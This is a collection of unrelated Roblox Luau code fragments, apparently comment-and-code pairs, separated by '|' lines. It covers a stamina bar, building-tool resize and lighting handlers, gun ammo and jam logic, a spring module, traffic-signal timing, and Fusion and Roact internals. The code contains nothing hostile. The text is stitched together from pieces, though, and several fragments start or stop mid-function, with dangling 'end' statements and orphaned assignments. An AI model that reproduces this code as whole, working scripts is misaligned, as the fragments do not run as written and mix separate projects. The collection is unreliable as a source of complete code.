local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal)
Tween:Play()
end
-- if stamina is below 50 then color is red
if Stamina2.MinValue <= 70 then
local Goal = {BackgroundColor3 = Color3.new(0.772549, 0, 0.0117647)}
--Set the tween:
local Tween = TweenService:Create(StamBar, TweenInfo.new(2), Goal)
Tween:Play()
end
end
|
-- Axis names corresponding to each face
|
local FaceAxisNames = {
[Enum.NormalId.Top] = 'Y';
[Enum.NormalId.Bottom] = 'Y';
[Enum.NormalId.Front] = 'Z';
[Enum.NormalId.Back] = 'Z';
[Enum.NormalId.Left] = 'X';
[Enum.NormalId.Right] = 'X';
};
function ShowHandles()
-- Creates and automatically attaches handles to the currently focused part
-- Autofocus handles on latest focused part
if not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:Connect(ShowHandles);
end;
-- If handles already exist, only show them
if ResizeTool.Handles then
ResizeTool.Handles:SetAdornee(Selection.Focus)
return
end
local AreaPermissions
local function OnHandleDragStart()
-- Prepare for resizing parts when the handle is clicked
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate resizing via handles
HandleResizing = true;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForResizing();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
end;
end
local function OnHandleDrag(Face, Distance)
-- Update parts when the handles are moved
-- Only resize if handle is enabled
if not HandleResizing then
return;
end;
-- Calculate the increment-aligned drag distance
Distance = GetIncrementMultiple(Distance, ResizeTool.Increment);
-- Resize the parts on the selected faces by the calculated distance
local Success, Adjustment = ResizePartsByFace(Face, Distance, ResizeTool.Directions, InitialState);
-- If the resizing did not succeed, resize according to the suggested adjustment
if not Success then
ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
end;
-- Update the "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(math.abs(Adjustment or Distance), 3) .. ' studs';
end;
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
end
local function OnHandleDragEnd()
if not HandleResizing then
return
end
-- Disable resizing
HandleResizing = false;
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Make joints, restore original anchor and collision states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end
-- Create the handles
local Handles = require(Libraries:WaitForChild 'Handles')
ResizeTool.Handles = Handles.new({
Color = ResizeTool.Color.Color,
Parent = Core.UIContainer,
Adornee = Selection.Focus,
OnDragStart = OnHandleDragStart,
OnDrag = OnHandleDrag,
OnDragEnd = OnHandleDragEnd
})
end;
function HideHandles()
-- Hides the resizing handles
-- Make sure handles exist and are visible
if not ResizeTool.Handles then
return;
end;
-- Hide the handles
ResizeTool.Handles = ResizeTool.Handles:Destroy()
-- Clear unnecessary resources
ClearConnection 'AutofocusHandle';
end;
function ResizePartsByFace(Face, Distance, Directions, InitialStates)
-- Resizes the selection on face `Face` by `Distance` studs, in the given `Directions`
-- Adjust the size increment to the resizing direction mode
if Directions == 'Both' then
Distance = Distance * 2;
end;
-- Calculate the increment vector for this resizing
local AxisSizeMultiplier = AxisSizeMultipliers[Face];
local IncrementVector = Distance * AxisSizeMultiplier;
-- Get name of axis the resize will occur on
local AxisName = FaceAxisNames[Face];
-- Check for any potential undersizing or oversizing
local ShortestSize, ShortestPart, LongestSize, LongestPart;
for Part, InitialState in pairs(InitialStates) do
-- Calculate target size for this resize
local TargetSize = InitialState.Size[AxisName] + Distance;
-- If target size is under 0.05, note if it's the shortest size
if TargetSize < 0.049999 and (not ShortestSize or (ShortestSize and TargetSize < ShortestSize)) then
ShortestSize, ShortestPart = TargetSize, Part;
-- If target size is over 2048, note if it's the longest size
elseif TargetSize > 2048 and (not LongestSize or (LongestSize and TargetSize > LongestSize)) then
LongestSize, LongestPart = TargetSize, Part;
end;
end;
-- Return adjustment for undersized parts (snap to lowest possible valid increment multiple)
if ShortestSize then
local InitialSize = InitialStates[ShortestPart].Size[AxisName];
local TargetSize = InitialSize - ResizeTool.Increment * tonumber((tostring((InitialSize - 0.05) / ResizeTool.Increment):gsub('%..+', '')));
return false, Distance + TargetSize - ShortestSize;
end;
-- Return adjustment for oversized parts (snap to highest possible valid increment multiple)
if LongestSize then
local TargetSize = ResizeTool.Increment * tonumber((tostring(2048 / ResizeTool.Increment):gsub('%..+', '')));
return false, Distance + TargetSize - LongestSize;
end;
-- Resize each part
for Part, InitialState in pairs(InitialStates) do
-- Perform the size change depending on shape
if Part:IsA 'Part' then
-- Resize spheres on all axes
if Part.Shape == Enum.PartType.Ball then
Part.Size = InitialState.Size + Vector3.new(Distance, Distance, Distance);
-- Resize cylinders on both Y & Z axes for circle sides
elseif Part.Shape == Enum.PartType.Cylinder and AxisName ~= 'X' then
Part.Size = InitialState.Size + Vector3.new(0, Distance, Distance);
-- Resize block parts and cylinder lengths normally
else
Part.Size = InitialState.Size + IncrementVector;
end;
-- Perform the size change normally on all other parts
else
Part.Size = InitialState.Size + IncrementVector;
end;
-- Offset the part when resizing in the normal, one direction
if Directions == 'Normal' then
Part.CFrame = InitialState.CFrame * CFrame.new(AxisPositioningMultipliers[Face] * Distance / 2);
-- Keep the part centered when resizing in both directions
elseif Directions == 'Both' then
Part.CFrame = InitialState.CFrame;
end;
end;
-- Indicate that the resizing happened successfully
return true;
end;
function BindShortcutKeys()
-- Enables useful shortcut keys for this tool
-- Track user input while this tool is equipped
table.insert(Connections, UserInputService.InputBegan:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this input is a key press
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Check if the enter key was pressed
if InputInfo.KeyCode == Enum.KeyCode.Return or InputInfo.KeyCode == Enum.KeyCode.KeypadEnter then
-- Toggle the current directions mode
if ResizeTool.Directions == 'Normal' then
SetDirections('Both');
elseif ResizeTool.Directions == 'Both' then
SetDirections('Normal');
end;
-- Check if the - key was pressed
elseif InputInfo.KeyCode == Enum.KeyCode.Minus or InputInfo.KeyCode == Enum.KeyCode.KeypadMinus then
-- Focus on the increment input
if ResizeTool.UI then
ResizeTool.UI.IncrementOption.Increment.TextBox:CaptureFocus();
end;
-- Nudge up if the 8 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadEight then
NudgeSelectionByFace(Enum.NormalId.Top);
-- Nudge down if the 2 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadTwo then
NudgeSelectionByFace(Enum.NormalId.Bottom);
-- Nudge forward if the 9 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadNine then
NudgeSelectionByFace(Enum.NormalId.Front);
-- Nudge backward if the 1 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadOne then
NudgeSelectionByFace(Enum.NormalId.Back);
-- Nudge left if the 4 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadFour then
NudgeSelectionByFace(Enum.NormalId.Left);
-- Nudge right if the 6 button on the keypad is pressed
elseif InputInfo.KeyCode == Enum.KeyCode.KeypadSix then
NudgeSelectionByFace(Enum.NormalId.Right);
-- Start snapping when the R key is pressed down, and it's not the selection clearing hotkey
elseif InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then
StartSnapping();
end;
end));
-- Track ending user input while this tool is equipped
table.insert(Connections, UserInputService.InputEnded:Connect(function (InputInfo, GameProcessedEvent)
-- Make sure this is an intentional event
if GameProcessedEvent then
return;
end;
-- Make sure this is input from the keyboard
if InputInfo.UserInputType ~= Enum.UserInputType.Keyboard then
return;
end;
-- Make sure it wasn't pressed while typing
if UserInputService:GetFocusedTextBox() then
return;
end;
-- Finish snapping when the R key is released, and it's not the selection clearing hotkey
if InputInfo.KeyCode == Enum.KeyCode.R and not Selection.Multiselecting then
FinishSnapping();
end;
end));
end;
function SetAxisSize(Axis, Size)
-- Sets the selection's size on axis `Axis` to `Size`
-- Track this change
TrackChange();
-- Prepare parts to be resized
local InitialStates = PreparePartsForResizing();
-- Update each part
for Part, InitialState in pairs(InitialStates) do
-- Set the part's new size
Part.Size = Vector3.new(
Axis == 'X' and Size or Part.Size.X,
Axis == 'Y' and Size or Part.Size.Y,
Axis == 'Z' and Size or Part.Size.Z
);
-- Keep the part in place
Part.CFrame = InitialState.CFrame;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to resize parts towards the end destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialStates) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialStates) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function NudgeSelectionByFace(Face)
-- Nudges the size of the selection in the direction of the given face
-- Get amount to nudge by
local NudgeAmount = ResizeTool.Increment;
-- Reverse nudge amount if shift key is held while nudging
local PressedKeys = Support.FlipTable(Support.GetListMembers(UserInputService:GetKeysPressed(), 'KeyCode'));
if PressedKeys[Enum.KeyCode.LeftShift] or PressedKeys[Enum.KeyCode.RightShift] then
NudgeAmount = -NudgeAmount;
end;
-- Track this change
TrackChange();
-- Prepare parts to be resized
local InitialState = PreparePartsForResizing();
-- Perform the resizing
local Success, Adjustment = ResizePartsByFace(Face, NudgeAmount, ResizeTool.Directions, InitialState);
-- If the resizing did not succeed, resize according to the suggested adjustment
if not Success then
ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
end;
-- Update "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Adjustment or NudgeAmount, 3) .. ' studs';
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Revert changes if player is not authorized to resize parts towards the end destination
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
-- Restore the parts' original states
for Part, State in pairs(InitialState) do
Part:MakeJoints();
Part.CanCollide = State.CanCollide;
Part.Anchored = State.Anchored;
end;
-- Register the change
RegisterChange();
end;
function TrackChange()
-- Start the record
HistoryRecord = {
Parts = Support.CloneTable(Selection.Parts);
BeforeSize = {};
AfterSize = {};
BeforeCFrame = {};
AfterCFrame = {};
Selection = Selection.Items;
Unapply = function (Record)
-- Reverts this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Size = Record.BeforeSize[Part], CFrame = Record.BeforeCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncResize', Changes);
end;
Apply = function (Record)
-- Applies this change
-- Select the changed parts
Selection.Replace(Record.Selection)
-- Put together the change request
local Changes = {};
for _, Part in pairs(Record.Parts) do
table.insert(Changes, { Part = Part, Size = Record.AfterSize[Part], CFrame = Record.AfterCFrame[Part] });
end;
-- Send the change request
Core.SyncAPI:Invoke('SyncResize', Changes);
end;
};
-- Collect the selection's initial state
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.BeforeSize[Part] = Part.Size;
HistoryRecord.BeforeCFrame[Part] = Part.CFrame;
end;
end;
function RegisterChange()
-- Finishes creating the history record and registers it
-- Make sure there's an in-progress history record
if not HistoryRecord then
return;
end;
-- Collect the selection's final state
local Changes = {};
for _, Part in pairs(HistoryRecord.Parts) do
HistoryRecord.AfterSize[Part] = Part.Size;
HistoryRecord.AfterCFrame[Part] = Part.CFrame;
table.insert(Changes, { Part = Part, Size = Part.Size, CFrame = Part.CFrame });
end;
-- Send the change to the server
Core.SyncAPI:Invoke('SyncResize', Changes);
-- Register the record and clear the staging
Core.History.Add(HistoryRecord);
HistoryRecord = nil;
end;
function PreparePartsForResizing()
-- Prepares parts for resizing and returns the initial state of the parts
local InitialState = {};
-- Stop parts from moving, and capture the initial state of the parts
for _, Part in pairs(Selection.Parts) do
InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, Size = Part.Size, CFrame = Part.CFrame };
Part.Anchored = true;
Part.CanCollide = false;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
end;
return InitialState;
end;
function GetIncrementMultiple(Number, Increment)
-- Get how far the actual distance is from a multiple of our increment
local MultipleDifference = Number % Increment;
-- Identify the closest lower and upper multiples of the increment
local LowerMultiple = Number - MultipleDifference;
local UpperMultiple = Number - MultipleDifference + Increment;
-- Calculate to which of the two multiples we're closer
local LowerMultipleProximity = math.abs(Number - LowerMultiple);
local UpperMultipleProximity = math.abs(Number - UpperMultiple);
-- Use the closest multiple of our increment as the distance moved
if LowerMultipleProximity <= UpperMultipleProximity then
Number = LowerMultiple;
else
Number = UpperMultiple;
end;
return Number;
end;
|
--end
--if SignalValues.Signal2a.Value == 2 then
|
SignalValues.Signal2a.Value = 3
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function LightingTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableSurfaceClickSelection();
end;
function LightingTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if LightingTool.UI then
-- Reveal the UI
LightingTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
LightingTool.UI = Core.Tool.Interfaces.BTLightingToolGUI:Clone();
LightingTool.UI.Parent = Core.UI;
LightingTool.UI.Visible = true;
-- Enable each light type UI
EnableLightSettingsUI(LightingTool.UI.PointLight);
EnableLightSettingsUI(LightingTool.UI.SpotLight);
EnableLightSettingsUI(LightingTool.UI.SurfaceLight);
-- Hook up manual triggering
local SignatureButton = LightingTool.UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(LightingTool.ManualText, LightingTool.Color.Color, SignatureButton)
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function EnableSurfaceClickSelection(LightType)
-- Allows for the setting of the face for the given light type by clicking
-- Clear out any existing connection
if Connections.SurfaceClickSelection then
Connections.SurfaceClickSelection:Disconnect();
Connections.SurfaceClickSelection = nil;
end;
-- Add the new click connection
Connections.SurfaceClickSelection = Core.Mouse.Button1Down:Connect(function ()
local _, ScopeTarget = Core.Targeting:UpdateTarget()
if Selection.IsSelected(ScopeTarget) then
SetSurface(LightType, Core.Mouse.TargetSurface)
end
end)
end;
function EnableLightSettingsUI(LightSettingsUI)
-- Sets up the UI for the given light type settings UI
-- Get the type of light this settings UI is for
local LightType = LightSettingsUI.Name;
-- Option input references
local Options = LightSettingsUI.Options;
local RangeInput = Options.RangeOption.Input.TextBox;
local BrightnessInput = Options.BrightnessOption.Input.TextBox;
local ColorPickerButton = Options.ColorOption.HSVPicker;
local ShadowsCheckbox = Options.ShadowsOption.Checkbox;
-- Add/remove/show button references
local AddButton = LightSettingsUI.AddButton;
local RemoveButton = LightSettingsUI.RemoveButton;
local ShowButton = LightSettingsUI.ArrowButton;
-- Enable range input
RangeInput.FocusLost:Connect(function ()
SetRange(LightType, tonumber(RangeInput.Text));
end);
-- Enable brightness input
BrightnessInput.FocusLost:Connect(function ()
SetBrightness(LightType, tonumber(BrightnessInput.Text));
end);
-- Enable color input
local ColorPickerHandle = nil
ColorPickerButton.MouseButton1Click:Connect(function ()
local CommonColor = Support.IdentifyCommonProperty(GetLights(LightType), 'Color')
local ColorPickerElement = Roact.createElement(ColorPicker, {
InitialColor = CommonColor or Color3.fromRGB(255, 255, 255);
SetPreviewColor = function (Color)
PreviewColor(LightType, Color)
end;
OnConfirm = function (Color)
SetColor(LightType, Color)
ColorPickerHandle = Roact.unmount(ColorPickerHandle)
end;
OnCancel = function ()
ColorPickerHandle = Roact.unmount(ColorPickerHandle)
end;
})
ColorPickerHandle = ColorPickerHandle and
Roact.update(ColorPickerHandle, ColorPickerElement) or
Roact.mount(ColorPickerElement, Core.UI, 'ColorPicker')
end)
-- Enable shadows input
ShadowsCheckbox.MouseButton1Click:Connect(function ()
ToggleShadows(LightType);
end);
-- Enable light addition button
AddButton.MouseButton1Click:Connect(function ()
AddLights(LightType);
end);
-- Enable light removal button
RemoveButton.MouseButton1Click:Connect(function ()
RemoveLights(LightType);
end);
-- Enable light options UI show button
ShowButton.MouseButton1Click:Connect(function ()
OpenLightOptions(LightType);
end);
-- Enable light type-specific features
if LightType == 'SpotLight' or LightType == 'SurfaceLight' then
-- Create a surface selection dropdown
local Surfaces = {
'Top';
'Bottom';
'Front';
'Back';
'Left';
'Right';
}
local SurfaceKey = 'Current' .. LightType .. 'Side'
local function BuildDropdown()
return Roact.createElement(Dropdown, {
Position = UDim2.new(0, 30, 0, 0);
Size = UDim2.new(0, 72, 0, 25);
MaxRows = 3;
Options = Surfaces;
CurrentOption = LightingTool[SurfaceKey] and LightingTool[SurfaceKey].Name;
OnOptionSelected = function (Option)
SetSurface(LightType, Enum.NormalId[Option])
end;
})
end
local DropdownHandle = Roact.mount(BuildDropdown(), Options.SideOption, 'Dropdown')
-- Keep dropdown updated
LightingTool.OnSideChanged:Connect(function ()
Roact.update(DropdownHandle, BuildDropdown())
end)
-- Enable angle input
local AngleInput = Options.AngleOption.Input.TextBox;
AngleInput.FocusLost:Connect(function ()
SetAngle(LightType, tonumber(AngleInput.Text));
end);
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not LightingTool.UI then
return;
end;
-- Hide the UI
LightingTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetLights(LightType)
-- Returns all the lights of the given type in the selection
local Lights = {};
-- Get any lights from any selected parts
for _, Part in pairs(Selection.Parts) do
table.insert(Lights, Support.GetChildOfClass(Part, LightType));
end;
-- Return the lights
return Lights;
end;
|
-- Number Util
-- Stephen Leitnick
-- April 22, 2020
| |
--// Ammo Settings
|
Ammo = 50;
StoredAmmo = 20;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 3;
|
-- Functions
|
function module.create(self, mass, force, damping, speed)
local spring = {
Target = Vector3.new();
Position = Vector3.new();
Velocity = Vector3.new();
Mass = mass or 5;
Force = force or 50;
Damping = damping or 4;
Speed = speed or 4;
}
function spring.SetBaseValue(self, V)
self.Target = V
self.Position = V
self.Velocity = V
end
function spring.Shove(self, force)
local x, y, z = force.X, force.Y, force.Z
if x ~= x or x == math.huge or x == -math.huge then
x = 0
end
if y ~= y or y == math.huge or y == -math.huge then
y = 0
end
if z ~= z or z == math.huge or z == -math.huge then
z = 0
end
self.Velocity = self.Velocity + Vector3.new(x, y, z)
end
function spring.Update(self, dt)
local scaledDeltaTime = math.min(dt,1) * self.Speed / ITERATIONS
for i = 1, ITERATIONS do
local iterationForce= self.Target - self.Position
local acceleration = (iterationForce * self.Force) / self.Mass
acceleration = acceleration - self.Velocity * self.Damping
self.Velocity = self.Velocity + acceleration * scaledDeltaTime
self.Position = self.Position + self.Velocity * scaledDeltaTime
end
return self.Position
end
return spring
end
|
-- 100 == 1 0 == 0 1/0.5
|
function JamCalculation()
local L_181_
if (math.random(1, 100) <= L_24_.JamChance) then
L_181_ = true
L_74_ = true
else
L_181_ = false
end
return L_181_
end
function TracerCalculation()
local L_182_
if (math.random(1, 100) <= L_24_.TracerChance) then
L_182_ = true
else
L_182_ = false
end
return L_182_
end
function ScreamCalculation()
local L_183_
if (math.random(1, 100) <= L_24_.SuppressCalloutChance) then
L_183_ = true
else
L_183_ = false
end
return L_183_
end
function SearchResupply(L_184_arg1)
local L_185_ = false
local L_186_ = nil
if L_184_arg1:FindFirstChild('ResupplyVal') or L_184_arg1.Parent:FindFirstChild('ResupplyVal') then
L_185_ = true
if L_184_arg1:FindFirstChild('ResupplyVal') then
L_186_ = L_184_arg1.ResupplyVal
elseif L_184_arg1.Parent:FindFirstChild('ResupplyVal') then
L_186_ = L_184_arg1.Parent.ResupplyVal
end
end
return L_185_, L_186_
end
function CheckReverb()
local L_187_, L_188_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_6_.CFrame.p, (L_6_.CFrame.upVector).unit * 30), IgnoreList);
if L_187_ then
local L_189_ = L_58_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') or Instance.new("ReverbSoundEffect", L_58_:WaitForChild('Fire'))
elseif not L_187_ then
if L_58_:WaitForChild('Fire'):FindFirstChild('ReverbSoundEffect') then
L_58_.Fire.ReverbSoundEffect:Destroy()
end
end
end
function UpdateAmmo()
L_29_.Text = L_102_
L_30_.Text = L_29_.Text
L_31_.Text = '| ' .. math.ceil(L_103_ / L_24_.StoredAmmo)
L_32_.Text = L_31_.Text
if L_92_ == 0 then
L_40_.Image = 'rbxassetid://' .. 1868007495
elseif L_92_ == 1 then
L_40_.Image = 'rbxassetid://' .. 1868007947
elseif L_92_ == 2 then
L_40_.Image = 'rbxassetid://' .. 1868008584
end
if L_91_ == 1 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0.7
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_91_ == 2 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0
elseif L_91_ == 3 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_91_ == 4 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0.7
elseif L_91_ == 5 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0.7
L_39_.BackgroundTransparency = 0.7
elseif L_91_ == 6 then
L_35_.BackgroundTransparency = 0
L_36_.BackgroundTransparency = 0.7
L_37_.BackgroundTransparency = 0
L_38_.BackgroundTransparency = 0
L_39_.BackgroundTransparency = 0.7
end
end
|
-- if playerRoot and (playerRoot.Position - rootPart.Position).Magnitude <= 1000 and not attacking then -- check if the player is near the npc
-- local SimplePath = require(6336743234) --Get module
-- local Path = SimplePath.new(npc) --Create new Path
-- Path:Run(player.Character.HumanoidRootPart.Position) --Start moving the Rig
-- Path.Completed:Wait() --Wait until Rig reaches the final position
-- Path:Destroy()
-- break -- break the loop so it doesn't follow a different player
-- end
-- end
| |
--[[
Updates all Tween objects.
]]
|
local function updateAllTweens()
local now = os.clock()
-- FIXME: Typed Luau doesn't understand this loop yet
for tween: Tween in pairs(allTweens :: any) do
local currentTime = now - tween._currentTweenStartTime
if currentTime > tween._currentTweenDuration then
if tween._currentTweenInfo.Reverses then
tween._currentValue = tween._prevValue
else
tween._currentValue = tween._nextValue
end
updateAll(tween)
TweenScheduler.remove(tween)
else
local ratio = getTweenRatio(tween._currentTweenInfo, currentTime)
local currentValue = lerpType(tween._prevValue, tween._nextValue, ratio)
tween._currentValue = currentValue
updateAll(tween)
end
end
end
RunService:BindToRenderStep(
"__FusionTweenScheduler",
Enum.RenderPriority.First.Value,
updateAllTweens
)
return TweenScheduler
|
--[[
Packages up the internals of Roact and exposes a public API for it.
]]
|
local GlobalConfig = require(script.GlobalConfig)
local createReconciler = require(script.createReconciler)
local createReconcilerCompat = require(script.createReconcilerCompat)
local RobloxRenderer = require(script.RobloxRenderer)
local strict = require(script.strict)
local Binding = require(script.Binding)
local robloxReconciler = createReconciler(RobloxRenderer)
local reconcilerCompat = createReconcilerCompat(robloxReconciler)
local Roact = strict {
Component = require(script.Component),
createElement = require(script.createElement),
createFragment = require(script.createFragment),
oneChild = require(script.oneChild),
PureComponent = require(script.PureComponent),
None = require(script.None),
Portal = require(script.Portal),
createRef = require(script.createRef),
createBinding = Binding.create,
joinBindings = Binding.join,
createContext = require(script.createContext),
Change = require(script.PropMarkers.Change),
Children = require(script.PropMarkers.Children),
Event = require(script.PropMarkers.Event),
Ref = require(script.PropMarkers.Ref),
mount = robloxReconciler.mountVirtualTree,
unmount = robloxReconciler.unmountVirtualTree,
update = robloxReconciler.updateVirtualTree,
reify = reconcilerCompat.reify,
teardown = reconcilerCompat.teardown,
reconcile = reconcilerCompat.reconcile,
setGlobalConfig = GlobalConfig.set,
-- APIs that may change in the future without warning
UNSTABLE = {
},
}
return Roact
|
--BigBomb
|
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local Humanoid = character:WaitForChild("Humanoid")
Humanoid.Died:connect(function()
if player.BigBomb.Value == 2 then
player.BigBomb.Value = 1
end
end)
end)
end)
game.Players.PlayerRemoving:Connect(function(player)
if player.BigBomb.Value == 2 then
player.BigBomb.Value = 1
end
end)
|
-- A state object whose value is derived from other objects using a callback.
|
export type ComputedPairs<K, V> = StateObject<{[K]: V}> & Dependent & {
-- kind: "ComputedPairs" (add this when Luau supports singleton types)
}
|
---------------------------------------------
|
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 1
PedValues.PedSignal2a.Value = 1
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL1 GREEN)
SignalValues.Signal1.Value = 1
SignalValues.Signal1a.Value = 1
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 2
PedValues.PedSignal2a.Value = 2
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 2
SignalValues.Signal1a.Value = 2
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 1
PedValues.PedSignal1a.Value = 1
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 1
SignalValues.Signal2a.Value = 1
PedValues.PedSignal1.Value = 2
PedValues.PedSignal1a.Value = 2
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
